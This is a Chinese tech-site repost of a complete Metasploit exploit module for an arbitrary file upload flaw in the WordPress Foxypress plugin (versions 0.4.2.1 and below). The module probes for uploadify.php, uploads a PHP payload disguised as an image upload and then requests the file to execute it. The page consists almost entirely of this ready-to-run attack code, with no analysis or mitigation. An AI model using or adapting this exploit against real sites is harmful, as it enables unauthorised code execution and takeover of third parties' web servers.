当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

WordPress插件Foxypress uploadify.php任意代码执行

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:


 
  
 
require 'msf/core'
 
  
 
class Metasploit3 < Msf::Exploit::Remote 
 
    Rank = ExcellentRanking 
 
  
 
    include Msf::Exploit::Remote::HttpClient 
 
  
 
    def initialize(info = {}) 
 
        super(update_info(info, 
 
            'Name'           => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution', 
 
            'Description'    => %q{ 
 
                    This module exploits an arbitrary PHP code execution flaw in the WordPress 
 
                blogging software plugin known as Foxypress. The vulnerability allows for arbitrary 
 
                file upload and remote code execution via the uploadify.php script. The Foxypress 
 
                plug-in versions 0.4.2.1 and below are vulnerable. 
 
            }, 
 
            'Author'         => 
 
                [ 
 
                    'Sammy FORGIT', # Vulnerability Discovery, PoC 
 
                    'patrick' # Metasploit module 
 
                ], 
 
            'License'        => MSF_LICENSE, 
 
            'Version'        => '$Revision$', 
 
            'References'     => 
 
                [ 
 
                    ['EDB', '18991'], 
 
                    ['OSVDB', '82652'], 
 
                    ['BID', '53805'], 
 
                ], 
 
            'Privileged'     => false, 
 
            'Payload'        => 
 
                { 
 
                    'Compat'      => 
 
                        { 
 
                            'ConnectionType' => 'find', 
 
                        }, 
 
                }, 
 
            'Platform'       => 'php', 
 
            'Arch'           => ARCH_PHP, 
 
            'Targets'        => [[ 'Automatic', { }]], 
 
            'DisclosureDate' => 'Jun 05 2012', 
 
            'DefaultTarget' => 0)) 
 
  
 
        register_options( 
 
            [ 
 
                OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]), 
 
            ], self.class) 
 
    end
 
  
 
    def check 
 
        uri = target_uri.path 
 
        uri << '/' if uri[-1,1] != '/'
 
  
 
        res = send_request_cgi({ 
 
            'method' => 'GET', 
 
            'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
 
        }) 
 
  
 
        if res and res.code == 200
 
            return Exploit::CheckCode::Detected 
 
        else
 
            return Exploit::CheckCode::Safe 
 
        end
 
    end
 
  
 
    def exploit 
 
  
 
        uri = target_uri.path 
 
        uri << '/' if uri[-1,1] != '/'
 
  
 
        peer = "#{rhost}:#{rport}"
 
  
 
        post_data = Rex::MIME::Message.new
 
        post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") 
 
  
 
        print_status("#{peer} - Sending PHP payload") 
 
  
 
        res = send_request_cgi({ 
 
            'method' => 'POST', 
 
            'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", 
 
            'ctype'  => 'multipart/form-data; boundary=' + post_data.bound, 
 
            'data'   => post_data.to_s 
 
        }) 
 
  
 
        if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ 
 
            print_error("#{peer} - File wasn't uploaded, aborting!") 
 
            return
 
        end
 
  
 
        print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") 
 
        res = send_request_cgi({ 
 
            'method' => 'GET', 
 
            'uri'    => "#{uri}wp-content/affiliate_images/#{$1}.php"
 
        }) 
 
  
 
        if res and res.code != 200
 
            print_error("#{peer} - Server returned #{res.code.to_s}") 
 
        end
 
  
 
    end
 
  
 
end ,涛涛电脑知识网,涛涛电脑知识网

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1